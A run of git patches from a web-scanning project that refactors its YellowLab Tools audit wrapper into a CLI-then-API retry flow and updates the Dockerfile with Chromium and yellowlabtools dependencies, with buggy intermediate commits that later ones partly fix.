@@ -87,12 +87,12 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 1. Create docker secrets  
-- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'` 
 
 
 ### 1. Build Dockerfile into image
-- `docker build . -t landonr/scanerr-server:latest`
-- `docker image push landonr/scanerr-server:latest`
+- `docker build . -t scanerr/server:latest`
+- `docker image push scanerr/server:latest`
 
 
 ### 2. Install nginx ingress controler on cluster
@@ -116,7 +116,6 @@ kubectl port-forward service/app-service 8000:8000
 
 #### 4.a  Spin up YLT deploymemt, service, and autoscaler
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-deployment.yaml`
-- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-service.yaml`
 - `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/ylt-autoscaler.yaml`
 
 

From 3e912dfbf60149cc83fcb17501ae5513884e306a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 08:38:04 -0600
Subject: [PATCH 0349/1099] testing new yellowlab configs

---
 app/api/utils/yellowlab.py | 159 +++++++++++++++++--------------------
 1 file changed, 73 insertions(+), 86 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 947e74c9..9bb2a5c7 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -16,6 +16,35 @@ def __init__(self, scan=None, configs=None):
         self.page = self.scan.page
         self.configs = configs
 
+        # initial audits object
+        self.audits = {
+            "pageWeight": [], 
+            "images": [], 
+            "domComplexity": [], 
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+        
+        # initial scores object
+        self.scores = {
+            "globalScore": None,
+            "pageWeight": None, 
+            "requests": None, 
+            "domComplexity": None, 
+            "javascriptComplexity": None,
+            "badJavascript": None,
+            "jQuery": None,
+            "cssComplexity": None,
+            "badCSS": None,
+            "fonts": None,
+            "serverConfig": None,
+        }
+
     
     def init_audit(self):
         proc = subprocess.Popen([
@@ -32,7 +61,7 @@ def init_audit(self):
 
     def yellowlab_api(self) -> dict:
         """ 
-        Serves as the backup method for collecting YL metrics.
+        Serves as the primary method for collecting YL metrics.
         Sends API requests to http://yellowlab:8383
         or localhost:8383
 
@@ -130,58 +159,36 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # initial audits object
-        audits = {
-            "pageWeight": [], 
-            "images": [], 
-            "domComplexity": [], 
-            "javascriptComplexity": [],
-            "badJavascript": [],
-            "jQuery": [],
-            "cssComplexity": [],
-            "badCSS": [],
-            "fonts": [],
-            "serverConfig": [],
-        }
-
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        for cat in audits:
+        for cat in self.audits:
             cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
             for a in cat_audits:
                 try:
                     audit = stdout_json["rules"][a]
-                    audits[cat].append(audit)
+                    self.audits[cat].append(audit)
                 except:
                     pass
 
         # get scores from each category
-        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        images_score = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
-        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-
-        scores = {
-            "globalScore": globalScore,
-            "pageWeight": pageWeight_score, 
-            # "requests": requests_score,
-            "images": images_score,  
-            "domComplexity": domComplexity_score, 
-            "javascriptComplexity": javascriptComplexity_score,
-            "badJavascript": badJavascript_score,
-            "jQuery": jQuery_score,
-            "cssComplexity": cssComplexity_score,
-            "badCSS": badCSS_score,
-            "fonts": fonts_score,
-            "serverConfig": serverConfig_score,
-        }
+        for key in self.scores:
+            if key != 'globalScore':
+                self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
+
+        # adding globalScore
+        self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+
+
+        # self.scores['pageWeight'] = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        # # self.scores['requests'] = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        # self.scores['images'] = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
+        # self.scores['domComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        # self.scores['javascriptComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        # self.scores['badJavascript'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        # self.scores['jQuery'] = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        # self.scores['cssComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        # self.scores['badCSS'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        # self.scores['fonts'] = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        # self.scores['serverConfig'] = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         # save audits data as json file
         file_id = uuid.uuid4()
@@ -214,47 +221,27 @@ def process_data(self, stdout_json: dict) -> dict:
 
     def get_data(self):
 
-        try:
-            raw_data = self.yellowlab_api()
-            data = self.process_data(stdout_json=raw_data)
-            return data
-
-        except Exception as e:
-            print(f'YELLOWLAB API FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
-        
-            return data
+        scan_complete = False
+        attemps = 0
         
+        # trying yellowlab scan untill success or 2 attempts
+        while not scan_complete and attempts >= 2:
+
+            try:
+                raw_data = self.yellowlab_api()
+                self.process_data(stdout_json=raw_data)
+                scan_complete = True
 
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+                scan_complete = True
+                attemps += 1
+
+        data = {
+            "scores": self.scores, 
+            "audits": audits,
+            "failed": True
+        }
+            
+        # returning final data
+        return data
\ No newline at end of file

From 232d7296ea14a2939e997a1b665a27c5a54a8a74 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 08:53:17 -0600
Subject: [PATCH 0350/1099] testing yellowlab with new dockerfile configs

---
 Dockerfile                 | 32 +++++++++++++++++++++++++++++++-
 app/api/utils/yellowlab.py | 17 ++++++++++++-----
 2 files changed, 43 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 157353e3..77eddb67 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -7,6 +7,18 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS --max_old_space_size=2000
+ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
+ENV DOCKERIZED yes
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -18,6 +30,17 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
+
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -26,8 +49,11 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
 # installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
@@ -41,5 +67,9 @@ RUN python3 -m pip install -r /requirements.txt
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME /tmp/.chromium
+ENV XDG_CACHE_HOME /tmp/.chromium
+
 # removing chromium config
 RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 9bb2a5c7..9effa1ed 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -46,7 +46,7 @@ def __init__(self, scan=None, configs=None):
         }
 
     
-    def init_audit(self):
+    def yellowlab_cli(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
                 self.page.page_url,
@@ -222,26 +222,33 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
+        failed = False
         attemps = 0
         
         # trying yellowlab scan untill success or 2 attempts
         while not scan_complete and attempts >= 2:
 
             try:
-                raw_data = self.yellowlab_api()
+                raw_data = self.yellowlab_cli()
                 self.process_data(stdout_json=raw_data)
+
+                # raw_data = self.yellowlab_api()
+                # self.process_data(stdout_json=raw_data)
+
                 scan_complete = True
+                failed = False
 
             except Exception as e:
                 print(f'YELLOWLAB API FAILED --> {e}')
                 scan_complete = True
+                failed = True
                 attemps += 1
 
         data = {
             "scores": self.scores, 
-            "audits": audits,
-            "failed": True
+            "audits": self.audits,
+            "failed": failed
         }
             
         # returning final data
-        return data
\ No newline at end of file
+        return attempts
\ No newline at end of file

From 86e2a8c06cf87362c8d04c34af24a9be06da873d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:06:41 -0600
Subject: [PATCH 0351/1099] fixed typo

---
 app/api/utils/yellowlab.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 9effa1ed..cc0d5f7d 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -223,7 +223,7 @@ def get_data(self):
 
         scan_complete = False
         failed = False
-        attemps = 0
+        attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
         while not scan_complete and attempts >= 2:
@@ -242,7 +242,7 @@ def get_data(self):
                 print(f'YELLOWLAB API FAILED --> {e}')
                 scan_complete = True
                 failed = True
-                attemps += 1
+                attempts += 1
 
         data = {
             "scores": self.scores, 

From 320e5f8c0971e97aa652d457e064eb72aa02ac22 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:19:53 -0600
Subject: [PATCH 0352/1099] fixed simple logic

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index cc0d5f7d..1ab1471a 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -226,7 +226,7 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts >= 2:
+        while not scan_complete and attempts <= 2:
 
             try:
                 raw_data = self.yellowlab_cli()

From 7f918762e086756f45c2027e60e6913f2c4bbfb2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:32:07 -0600
Subject: [PATCH 0353/1099] fixing more issues

---
 app/api/utils/yellowlab.py | 37 ++++++++++++++-----------------------
 1 file changed, 14 insertions(+), 23 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1ab1471a..7d840e1f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -159,7 +159,8 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
+        # iterating through categories to get relevant yl_audits 
+        # and store them in their respective `audits = {}` obj
         for cat in self.audits:
             cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
             for a in cat_audits:
@@ -171,29 +172,16 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # get scores from each category
         for key in self.scores:
-            if key != 'globalScore':
+            if key == 'globalScore':
+                self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+            else:
                 self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
 
-        # adding globalScore
-        self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-
-
-        # self.scores['pageWeight'] = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        # # self.scores['requests'] = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        # self.scores['images'] = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
-        # self.scores['domComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        # self.scores['javascriptComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        # self.scores['badJavascript'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        # self.scores['jQuery'] = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        # self.scores['cssComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        # self.scores['badCSS'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        # self.scores['fonts'] = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        # self.scores['serverConfig'] = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         # save audits data as json file
         file_id = uuid.uuid4()
         with open(f'{file_id}.json', 'w') as fp:
-            json.dump(audits, fp)
+            json.dump(self.audits, fp)
         
         # upload to s3 and return url
         audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
@@ -209,9 +197,12 @@ def process_data(self, stdout_json: dict) -> dict:
         # remove local copy
         os.remove(audit_file)
 
+        # updating opjects
+        self.audits = audits_url
+
         data = {
-            "scores": scores, 
-            "audits": audits_url,
+            "scores": self.scores, 
+            "audits": self.audits,
             "failed": False
         }
 
@@ -222,11 +213,11 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = False
+        failed = None
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts <= 2:
+        while not scan_complete and attempts < 2:
 
             try:
                 raw_data = self.yellowlab_cli()
@@ -251,4 +242,4 @@ def get_data(self):
         }
             
         # returning final data
-        return attempts
\ No newline at end of file
+        return data
\ No newline at end of file

From f1e9c99be94da53cae0b229f24bcb166a9ee31a5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:33:48 -0600
Subject: [PATCH 0354/1099] moved WORKDIR to end

---
 Dockerfile | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 77eddb67..f3ea15e6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,11 +2,6 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
 # increasing allocated memory to node
 ENV NODE_OPTIONS --max_old_space_size=2000
 ENV NODE_OPTIONS "--max-old-space-size=2000"
@@ -72,4 +67,9 @@ ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app

From 083fc4a3694e6f6215231c56fa9a2c9e4b38e729 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:40:19 -0600
Subject: [PATCH 0355/1099] fixing issue with build

---
 Dockerfile | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f3ea15e6..93bec5ca 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -44,9 +44,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
 # installing lighthouse
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 

From 3162243505c80269e47f1fde8ec59b928b685ec5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:44:51 -0600
Subject: [PATCH 0356/1099] moving things arround

---
 Dockerfile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 93bec5ca..e840a2b2 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -55,10 +55,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-
 # Set up the Chromium environment
 ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
@@ -70,3 +66,7 @@ RUN rm -rf ~/.config/chromium
 RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium

From 13395eef19eb9c5d0469da8ec6d10f27f728c91c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:51:41 -0600
Subject: [PATCH 0357/1099] fixed chromium exe path for phantomas

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e840a2b2..aed2bb2e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -11,7 +11,7 @@ ENV GENERATE_SOURCEMAP false
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # create the app user

From 75964a5c49c4e1d6123700c4434bb3078b7ec563 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:05:45 -0600
Subject: [PATCH 0358/1099] debugging

---
 app/api/utils/yellowlab.py | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 7d840e1f..1ce08524 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -217,23 +217,24 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts < 2:
+        # while not scan_complete and attempts < 2:
 
-            try:
-                raw_data = self.yellowlab_cli()
-                self.process_data(stdout_json=raw_data)
+            # try:
+        raw_data = self.yellowlab_cli()
+        print(raw_data)
+        self.process_data(stdout_json=raw_data)
 
-                # raw_data = self.yellowlab_api()
-                # self.process_data(stdout_json=raw_data)
+        # raw_data = self.yellowlab_api()
+        # self.process_data(stdout_json=raw_data)
 
-                scan_complete = True
-                failed = False
+        scan_complete = True
+        failed = False
 
-            except Exception as e:
-                print(f'YELLOWLAB API FAILED --> {e}')
-                scan_complete = True
-                failed = True
-                attempts += 1
+            # except Exception as e:
+            #     print(f'YELLOWLAB API FAILED --> {e}')
+            #     scan_complete = True
+            #     failed = True
+            #     attempts += 1
 
         data = {
             "scores": self.scores, 

From f452b880bdedeea3f6b349e1505dec33667eeb7f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:11:03 -0600
Subject: [PATCH 0359/1099] testing json conversion

---
 app/api/utils/yellowlab.py | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1ce08524..a0fe9fb1 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -47,6 +47,14 @@ def __init__(self, scan=None, configs=None):
 
     
     def yellowlab_cli(self):
+        """ 
+        Serves as the CLI method for collecting YL metrics.
+        Creates a sub process running yellowlabtools CLI
+
+        Returns --> raw YL data (Dict)
+        """
+
+        # initiating subprocess for YLT CLI
         proc = subprocess.Popen([
                 'yellowlabtools',
                 self.page.page_url,
@@ -55,17 +63,23 @@ def yellowlab_cli(self):
             stdout=subprocess.PIPE,
             user='app',
         )
+
+        # retrieving data from process
         stdout_value = proc.communicate()[0]
-        return stdout_value
+
+        # converting stdout str into Dict
+        stdout_json = json.loads(stdout_value)
+        return stdout_json
+
 
 
     def yellowlab_api(self) -> dict:
         """ 
-        Serves as the primary method for collecting YL metrics.
+        Serves as the API method for collecting YL metrics.
         Sends API requests to http://yellowlab:8383
         or localhost:8383
 
-        Returns --> raw YL data
+        Returns --> raw YL data (Dict)
         """
 
         # defaults

From 92972ff8b54988064891ffd7fd84da145a584654 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:15:07 -0600
Subject: [PATCH 0360/1099] fixing typo

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index a0fe9fb1..b9a6ba40 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -34,7 +34,7 @@ def __init__(self, scan=None, configs=None):
         self.scores = {
             "globalScore": None,
             "pageWeight": None, 
-            "requests": None, 
+            "images": None, 
             "domComplexity": None, 
             "javascriptComplexity": None,
             "badJavascript": None,

From 49f7336b7a294b6a18e9b8744afca93d3accccdf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:25:25 -0600
Subject: [PATCH 0361/1099] debugging cli

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index b9a6ba40..1a5e9540 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -66,6 +66,7 @@ def yellowlab_cli(self):
 
         # retrieving data from process
         stdout_value = proc.communicate()[0]
+        print(stdout_value)
 
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
@@ -235,7 +236,6 @@ def get_data(self):
 
             # try:
         raw_data = self.yellowlab_cli()
-        print(raw_data)
         self.process_data(stdout_json=raw_data)
 
         # raw_data = self.yellowlab_api()

From 9dd4005e28cba36e32c2eeafc268e2fae2b4bc69 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:40:18 -0600
Subject: [PATCH 0362/1099] using CLI first, then API if failure

---
 app/api/utils/yellowlab.py | 39 ++++++++++++++++++++------------------
 1 file changed, 21 insertions(+), 18 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1a5e9540..e52fffdb 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -66,7 +66,6 @@ def yellowlab_cli(self):
 
         # retrieving data from process
         stdout_value = proc.communicate()[0]
-        print(stdout_value)
 
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
@@ -232,23 +231,27 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        # while not scan_complete and attempts < 2:
-
-            # try:
-        raw_data = self.yellowlab_cli()
-        self.process_data(stdout_json=raw_data)
-
-        # raw_data = self.yellowlab_api()
-        # self.process_data(stdout_json=raw_data)
-
-        scan_complete = True
-        failed = False
-
-            # except Exception as e:
-            #     print(f'YELLOWLAB API FAILED --> {e}')
-            #     scan_complete = True
-            #     failed = True
-            #     attempts += 1
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    raw_data = self.yellowlab_cli()
+                    self.process_data(stdout_json=raw_data)
+                
+                # API after first attempt
+                if attempts > 1:
+                    raw_data = self.yellowlab_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+                scan_complete = True
+                failed = True
+                attempts += 1
 
         data = {
             "scores": self.scores, 

From abfee806f572536c8d311abc5cf526d356c43538 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:46:15 -0600
Subject: [PATCH 0363/1099] celaning things up

---
 app/api/utils/yellowlab.py | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e52fffdb..962b7c59 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -93,21 +93,16 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
-        print('sending YLT API request...')
         res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
             headers=headers
         ).json()
 
-        print(res)
-
         # retrieve runId & pod_ip if present
         run_id = res['runId']
         pod_ip = res.get('pod_ip')
-
         NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT
-        print(f'setting NEW_ROOT to -> {NEW_ROOT}')
         
         wait_time = 0
         max_wait = 1200
@@ -117,14 +112,11 @@ def yellowlab_api(self) -> dict:
         while not done and wait_time < max_wait:
 
             # sending run request check
-            print('checking YLT API request...')
             res = requests.get(
                 url=f'{NEW_ROOT}/api/runs/{run_id}',
                 headers=headers
             ).json()
 
-            print(f'res -> {res}')
-
             # checking status
             status = res['run']['status']['statusCode']
             position = res['run']['status'].get('position')
@@ -133,7 +125,6 @@ def yellowlab_api(self) -> dict:
             if status == 'complete':
                 done = True
             if status == 'failed':
-                print('YELLOWLAB API FAILED')
                 raise RuntimeError
                 break
 
@@ -143,7 +134,6 @@ def yellowlab_api(self) -> dict:
 
 
         # getting run results
-        print('retrieveing YLT API request...')
         res = requests.get(
             url=f'{NEW_ROOT}/api/results/{run_id}',
             headers=headers
@@ -248,7 +238,7 @@ def get_data(self):
                 failed = False
 
             except Exception as e:
